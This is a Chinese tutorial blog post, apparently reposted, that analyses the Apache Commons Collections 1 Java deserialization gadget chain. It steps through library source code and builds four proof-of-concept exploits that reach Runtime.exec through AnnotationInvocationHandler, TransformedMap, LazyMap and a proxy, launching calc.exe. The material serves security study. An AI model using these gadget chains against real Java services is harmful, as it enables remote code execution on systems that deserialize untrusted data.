欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 教育 > 幼教 > java反序列化链学习——Common Collections 1

java反序列化链学习——Common Collections 1

2025/5/17 11:36:17 来源:https://blog.csdn.net/ubaichu/article/details/146301775  浏览:    关键词:java反序列化链学习——Common Collections 1

文章目录

  • Common Collections 介绍
  • 核心demo
    • TransformedMap
    • Transformer
    • ConstantTransformer
    • InvokerTransformer
    • ChainedTransformer
    • 对demo的理解
  • Demo1
  • Demo2
  • Demo3
  • Demo4

Common Collections 介绍

Apache Commons 是对 JDK 的拓展,包含了很多开源的⼯具,⽤于解决平时编程经常会遇到的问题。Apache Commons 当中有⼀个组件叫做 Apache Commons Collections,封装了 Java 的 Collection 相关类对象。cc链的利⽤就是以Apache Commons Collections作为链条的核⼼,来构造⼀个最终能够进⾏rce的gadget。

核心demo

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;public class first {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"C:\\Windows\\System32\\calc.exe"})};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);outerMap.put("test", "xxxx");}
}

在这里插入图片描述

TransformedMap

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//package org.apache.commons.collections.map;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Iterator;
import java.util.Map;
import org.apache.commons.collections.Transformer;public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {private static final long serialVersionUID = 7023152376788900464L;protected final Transformer keyTransformer;protected final Transformer valueTransformer;public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer);if (map.size() > 0) {Map transformed = decorated.transformMap(map);decorated.clear();decorated.getMap().putAll(transformed);}return decorated;}protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}private void writeObject(ObjectOutputStream out) throws IOException {out.defaultWriteObject();out.writeObject(this.map);}private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();this.map = (Map)in.readObject();}protected Object transformKey(Object object) {return this.keyTransformer == null ? object : this.keyTransformer.transform(object);}protected Object transformValue(Object object) {return this.valueTransformer == null ? object : this.valueTransformer.transform(object);}protected Map transformMap(Map map) {if (map.isEmpty()) {return map;} else {Map result = new LinkedMap(map.size());Iterator it = map.entrySet().iterator();while(it.hasNext()) {Map.Entry entry = (Map.Entry)it.next();result.put(this.transformKey(entry.getKey()), this.transformValue(entry.getValue()));}return result;}}protected Object checkSetValue(Object value) {return this.valueTransformer.transform(value);}protected boolean isSetValueChecking() {return this.valueTransformer != null;}public Object put(Object key, Object value) {key = this.transformKey(key);value = this.transformValue(value);return this.getMap().put(key, value);}public void putAll(Map mapToCopy) {mapToCopy = this.transformMap(mapToCopy);this.getMap().putAll(mapToCopy);}
}当我们调用transformedMap.put时public Object put(Object key, Object value) {key = this.transformKey(key);value = this.transformValue(value);return this.getMap().put(key, value);}
对于进⼊map的新元素(key,value),会利⽤keyTransformer对key进⾏处理,并且利⽤
valueTransformer对value进⾏处理。继续跟一下这两个方法protected Object transformKey(Object object) {return this.keyTransformer == null ? object : this.keyTransformer.transform(object);}protected Object transformValue(Object object) {return this.valueTransformer == null ? object : this.valueTransformer.transform(object);}

最终会调用Transformer对象中的.transform方法

Transformer

Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:
TransformedMap在转换Map的新元素时,就会调⽤Transformer对象的transform⽅法,这个过程就类似在调⽤⼀个“回调参数”。那么,Transformer只是⼀个接⼝,必然要有实现该接⼝的类,我们用到的个类:ConstantTransformer、InvokerTransformer 、ChainedTransformer

ConstantTransformer

先看看代码

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//package org.apache.commons.collections.functors;import java.io.Serializable;
import org.apache.commons.collections.Transformer;public class ConstantTransformer implements Transformer, Serializable {private static final long serialVersionUID = 6374440726369055124L;public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);private final Object iConstant;public static Transformer getInstance(Object constantToReturn) {return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));}public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}public Object transform(Object input) {return this.iConstant;}public Object getConstant() {return this.iConstant;}
}

它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回。

InvokerTransformer

代码:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//package org.apache.commons.collections.functors;import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;public class InvokerTransformer implements Transformer, Serializable {private static final long serialVersionUID = -8653385846894047688L;private final String iMethodName;private final Class[] iParamTypes;private final Object[] iArgs;public static Transformer getInstance(String methodName) {if (methodName == null) {throw new IllegalArgumentException("The method to invoke must not be null");} else {return new InvokerTransformer(methodName);}}public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {if (methodName == null) {throw new IllegalArgumentException("The method to invoke must not be null");} else if (paramTypes == null && args != null || paramTypes != null && args == null || paramTypes != null && args != null && paramTypes.length != args.length) {throw new IllegalArgumentException("The parameter types must match the arguments");} else if (paramTypes != null && paramTypes.length != 0) {paramTypes = (Class[])((Class[])paramTypes.clone());args = (Object[])((Object[])args.clone());return new InvokerTransformer(methodName, paramTypes, args);} else {return new InvokerTransformer(methodName);}}private InvokerTransformer(String methodName) {this.iMethodName = methodName;this.iParamTypes = null;this.iArgs = null;}public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;}public Object transform(Object input) {if (input == null) {return null;} else {try {Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs);} catch (NoSuchMethodException var4) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException var5) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException var6) {InvocationTargetException ex = var6;throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}}
}

这个类的transform方法可以执行任意方法,第一个参数是方法名,第二个参数是参数列表的参数类型,第三个参数是传给这个函数的参数列表使用下面这几行代码,通过反射的方式来执行任意代码,达到rce的目的

Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);

ChainedTransformer

它的作⽤是将内部的多个Transformer串在⼀起。

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//package org.apache.commons.collections.functors;import java.io.Serializable;
import java.util.Collection;
import java.util.Iterator;
import org.apache.commons.collections.Transformer;public class ChainedTransformer implements Transformer, Serializable {private static final long serialVersionUID = 3514945074733160196L;private final Transformer[] iTransformers;public static Transformer getInstance(Transformer[] transformers) {FunctorUtils.validate(transformers);if (transformers.length == 0) {return NOPTransformer.INSTANCE;} else {transformers = FunctorUtils.copy(transformers);return new ChainedTransformer(transformers);}}public static Transformer getInstance(Collection transformers) {if (transformers == null) {throw new IllegalArgumentException("Transformer collection must not be null");} else if (transformers.size() == 0) {return NOPTransformer.INSTANCE;} else {Transformer[] cmds = new Transformer[transformers.size()];int i = 0;for(Iterator it = transformers.iterator(); it.hasNext(); cmds[i++] = (Transformer)it.next()) {}FunctorUtils.validate(cmds);return new ChainedTransformer(cmds);}}public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {if (transformer1 != null && transformer2 != null) {Transformer[] transformers = new Transformer[]{transformer1, transformer2};return new ChainedTransformer(transformers);} else {throw new IllegalArgumentException("Transformers must not be null");}}public ChainedTransformer(Transformer[] transformers) {this.iTransformers = transformers;}public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);}return object;}public Transformer[] getTransformers() {return this.iTransformers;}
}

我们看到它的初始化输⼊是⼀个Transformer数组,然后通过循环调⽤的⽅式来讲所有的Transformer都执⾏了⼀遍,并且每⼀个Transformer的输⼊是上⼀个Transformer执⾏了transform⽅法的结果。实现链式调用。

对demo的理解

我们创建了一个ChainedTransformer,它是一个链式调用,当被调用时,会按顺序执行两个Transformer:先调用ConstantTransformer,返回了一个Runtime对象,然后这个对象被当作参数,传入InvokerTransformer的transformer方法,用来执行Runtime的exec方法,参数是计算器的地址,实现rce
现在只是创建了一个Transformer,并没有被调用,我们需要将Transformer绑定到TransformerMap,并且执行put(被添加新元素)时才会被调用。

Demo1

上方demo中我们手动给TransformerMap添加元素,但现实场景中没人帮我们执行该操作,我们需要找一个类,它的readObject方法中存在给Map增加新元素的操作这个类就是:sun.reflect.annotation.AnnotationInvocationHandler,这是⼀个java的原⽣类它的构造函数:

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {this.type = type;this.memberValues = memberValues;
}
readObject:
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch (IllegalArgumentException e) {// Class is no longer an annotation type; all bets are offreturn;}// 获取注解成员类型Map<String, Class<?>> memberTypes = annotationType.memberTypes();// 遍历 memberValues 并检查类型是否匹配for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) { // 如果成员仍然存在Object value = memberValue.getValue();// 检查值是否为成员类型或其异常代理if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {// 触发类型不匹配异常代理memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}
}

我们只要将memberValues设置成我们构造的TransformerMap对象,然后会触发memberValue.setValue,进而触发我们构造的Transformer
sun.reflect.annotation.AnnotationInvocationHandler对象是一个内部类,我们没办法直接New出来,可以使用反射的方式
garget1:

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class CommonCollections11 {public static void main(String[] args) throws Exception {// FileOutputStream fout = new FileOutputStream("user.bin");// fout.write(serializeData);// fout.close();byte[] evilData = serialize(cc1("C:\\Windows\\System32\\calc.exe"));unserialize(evilData);}// 将对象序列化成字节流public static byte[] serialize(final Object obj) throws Exception {ByteArrayOutputStream btout = new ByteArrayOutputStream();ObjectOutputStream objOut = new ObjectOutputStream(btout);objOut.writeObject(obj);return btout.toByteArray();}// 将字节流反序列化成对象public static Object unserialize(final byte[] serialized) throws Exception {ByteArrayInputStream btin = new ByteArrayInputStream(serialized);ObjectInputStream objIn = new ObjectInputStream(btin);return objIn.readObject();}static Object cc1(String args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()), // 这一步会在序列化前生成一个Runtime对象new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{args})};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 拿到类的句柄Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); // 拿到类的构造方法constructor.setAccessible(true); // 去掉Java语法安全检查Object obj = constructor.newInstance(Retention.class, outerMap); // 创建一个AnnotationInvocationHandler对象return obj;}
}

它在编译的时候发生错误
在这里插入图片描述

Demo2

出现错误是因为,java.lang.Runtime⽆法序列化
Java中不是所有对象都⽀持序列化,待序列化的对象和所有它使⽤的内部属性对象,必须都
实现了 java.io.Serializable 接⼝。⽽我们最早传给ConstantTransformer的 是
Runtime.getRuntime() ,Runtime类是没有实现 java.io.Serializable 接⼝的,所以不允许被序
列化。
还是通过反射的方式来解决

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("C:\\Windows\\System32\\calc.exe");

先通过Runtime.class构造出⼀个Runtime的对象(对象类型为Class),然后执⾏该对象的getMethod⽅法,参数是"getRuntime",这样就会得到⼀个反射的Method对象。
然后执⾏这个Runtime对象的Invoke⽅法,这样就会在运⾏时得到⼀个java.lang.Runtime对象(序列化时没有),最终执⾏exec⽅法,参数是要rce执⾏的命令。
然后,我们构造出⼀个新的poc

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class CommonCollections12 {public static void main(String[] args) throws Exception {byte[] evilData = serialize(cc1("C:\\Windows\\System32\\calc.exe"));unserialize(evilData);}// 将对象序列化成字节流public static byte[] serialize(final Object obj) throws Exception {ByteArrayOutputStream btout = new ByteArrayOutputStream();ObjectOutputStream objOut = new ObjectOutputStream(btout);objOut.writeObject(obj);return btout.toByteArray();}// 将字节流反序列化成对象public static Object unserialize(final byte[] serialized) throws Exception {ByteArrayInputStream btin = new ByteArrayInputStream(serialized);ObjectInputStream objIn = new ObjectInputStream(btin);return objIn.readObject();}static Object cc1(String args) throws Exception {// 构造 Transformer 链Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{args})};Transformer transformerChain = new ChainedTransformer(transformers);// 使用 TransformedMap 装饰器绑定转换链Map innerMap = new HashMap();Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// 反射构造 AnnotationInvocationHandler 对象Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true); // 绕过访问检查return constructor.newInstance(Retention.class, outerMap);}
}

编译没问题,但是没有弹计算机

Demo3

AnnotationInvocationHandler的代码

private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch (IllegalArgumentException e) {// Class is no longer an annotation type; all bets are offreturn;}Map<String, Class<?>> memberTypes = annotationType.memberTypes();for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { // memberValue来自于memberValues的遍历迭代String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) { // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {memberValue.setValue( // 目的是触发这里new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}
}

如果memberValues是⼀个空的map,那么这个for的遍历就不会执⾏,所以我们需
要预先给Map进⾏值的插⼊。

String name = memberValue.getKey(); //Map可控,所以key可控
Class<?> memberType = memberTypes.get(name); 
if (memberType != null) { //!要求在memberType中也有这个key
...
}
memberTypes:
AnnotationType annotationType = null;
try {annotationType = AnnotationType.getInstance(type);
} catch (IllegalArgumentException e) {// Class is no longer an annotation type; all bets are offreturn;
}Map<String, Class<?>> memberTypes = annotationType.memberTypes();public class AnnotationType {/*.........*/public static synchronized AnnotationType getInstance(Class<? extends Annotation> annotationClass) {AnnotationType result = sun.misc.SharedSecrets.getJavaLangAccess().getAnnotationType(annotationClass);if (result == null)result = new AnnotationType(annotationClass);return result;}private AnnotationType(final Class<? extends Annotation> annotationClass) {if (!annotationClass.isAnnotation())throw new IllegalArgumentException("Not an annotation type");Method[] methods = AccessController.doPrivileged(new PrivilegedAction<Method[]>() {public Method[] run() {// Initialize memberTypes and defaultValuesreturn annotationClass.getDeclaredMethods();}});for (Method method : methods) {if (method.getParameterTypes().length != 0)throw new IllegalArgumentException(method + " has params");String name = method.getName();Class<?> type = method.getReturnType();memberTypes.put(name, invocationHandlerReturnType(type));members.put(name, method);Method[] methods = AccessController.doPrivileged(new PrivilegedAction<Method[]>() {public Method[] run() {// Initialize memberTypes and defaultValuesreturn annotationClass.getDeclaredMethods();}});for (Method method : methods) {if (method.getParameterTypes().length != 0)throw new IllegalArgumentException(method + " has params");String name = method.getName();Class<?> type = method.getReturnType();memberTypes.put(name, invocationHandlerReturnType(type));members.put(name, method);Object defaultValue = method.getDefaultValue();if (defaultValue != null)memberDefaults.put(name, defaultValue);members.put(name, method);}sun.misc.SharedSecrets.getJavaLangAccess().setAnnotationType(annotationClass, this);if (annotationClass != Retention.class && annotationClass != Inherited.class) {Retention ret = annotationClass.getAnnotation(Retention.class);retention = (ret == null ? RetentionPolicy.CLASS : ret.value());inherited = annotationClass.isAnnotationPresent(Inherited.class);}}
}

就是检查输⼊的参数,是不是⼀个注解类,如果不是就会报错。
所以我们这⾥要求第⼀个参数必须是⼀个注解类。
annotationClass.isAnnotation()
这⾥会通过反射的⽅式,获取该注解类所有的⽅法
然后再将所有的⽅法名塞给memberTypes这个Map

⽽我们这⾥要获取的就是memberTypes

        Method[] methods = AccessController.doPrivileged(new PrivilegedAction<Method[]>() {public Method[] run() {// Initialize memberTypes and defaultValuesreturn annotationClass.getDeclaredMethods();}});for (Method method : methods) {if (method.getParameterTypes().length != 0)throw new IllegalArgumentException(method + " has params");String name = method.getName();Class<?> type = method.getReturnType();memberTypes.put(name, invocationHandlerReturnType(type));members.put(name, method);

对于sun.reflect.annotation.AnnotationInvocationHandler这个类的构造函数,我们需要找到⼀个参数type,它必须满⾜

1.是⼀个类对象
2.该类是⼀个注解类
3.该类⾄少存在⼀个⽅法

最终我们找到了Retention类,他是⼀个注解类,他有⼀个⽅法,叫做value.
Demo3:
这个版本可以弹计算器

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class CommonCollections13 {public static void main(String[] args) throws Exception {// FileOutputStream fout = new FileOutputStream("user.bin");// fout.write(serializeData);// fout.close();byte[] evilData = serialize(cc1("C:\\Windows\\System32\\calc.exe"));unserialize(evilData);}// 将对象序列化成字节流public static byte[] serialize(final Object obj) throws Exception {ByteArrayOutputStream btout = new ByteArrayOutputStream();ObjectOutputStream objOut = new ObjectOutputStream(btout);objOut.writeObject(obj);return btout.toByteArray();}// 将字节流反序列化成对象public static Object unserialize(final byte[] serialized) throws Exception {ByteArrayInputStream btin = new ByteArrayInputStream(serialized);ObjectInputStream objIn = new ObjectInputStream(btin);return objIn.readObject();}static Object cc1(String args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{args})};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();innerMap.put("value", "XXXXXXX");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 拿到类的句柄Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); // 拿到类的构造方法constructor.setAccessible(true); // 去掉 Java 语法安全检查Object obj = constructor.newInstance(Retention.class, outerMap); // 创建一个 AnnotationInvocationHandler 对象return obj;}
}

Demo4

ysoserial⾥⾯的cc1链,没有使用TransforMap,而是使用了LazyMap,LazyMap在添加元素的时候不会执⾏transform的逻辑,⽽是在get的时候,有⼀个transform的动作。
在invoke⽅法⾥⾯,是有get的,如何从readObject跳到invoke呢?ysoserial的作者想到的是利⽤java的对象代理。
在java中,如果我们调⽤了别⼈的sdk,⼜觉得别⼈的sdk⾥⾯的某个代码写得不好,java不建
议直接修改sdk代码,⽽是提供了⼀种叫做代理的设计模式。
最终garget:

public class CommonCollections1 {public static void main(String[] args) throws Exception {// FileOutputStream fout = new FileOutputStream("user.bin");// fout.write(serializeData);// fout.close();byte[] evilData = serialize(cc1("C:\\\\Windows\\\\System32\\\\calc.exe"));unserialize(evilData);}// 将对象序列化成字节流public static byte[] serialize(final Object obj) throws Exception {ByteArrayOutputStream btout = new ByteArrayOutputStream();ObjectOutputStream objOut = new ObjectOutputStream(btout);objOut.writeObject(obj);return btout.toByteArray();}// 将字节流反序列化成对象public static Object unserialize(final byte[] serialized) throws Exception {ByteArrayInputStream btin = new ByteArrayInputStream(serialized);ObjectInputStream objIn = new ObjectInputStream(btin);return objIn.readObject();}static Object cc1(String args) throws Exception {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { args })};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();innerMap.put("hidden", "fuckdada");Map outerMap = LazyMap.decorate(innerMap, transformerChain);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);InvocationHandler handler = (InvocationHandler) constructor.newInstance(Probe.class, outerMap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] { Map.class }, handler);Object obj = constructor.newInstance(Probe.class, proxyMap);return obj;}

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词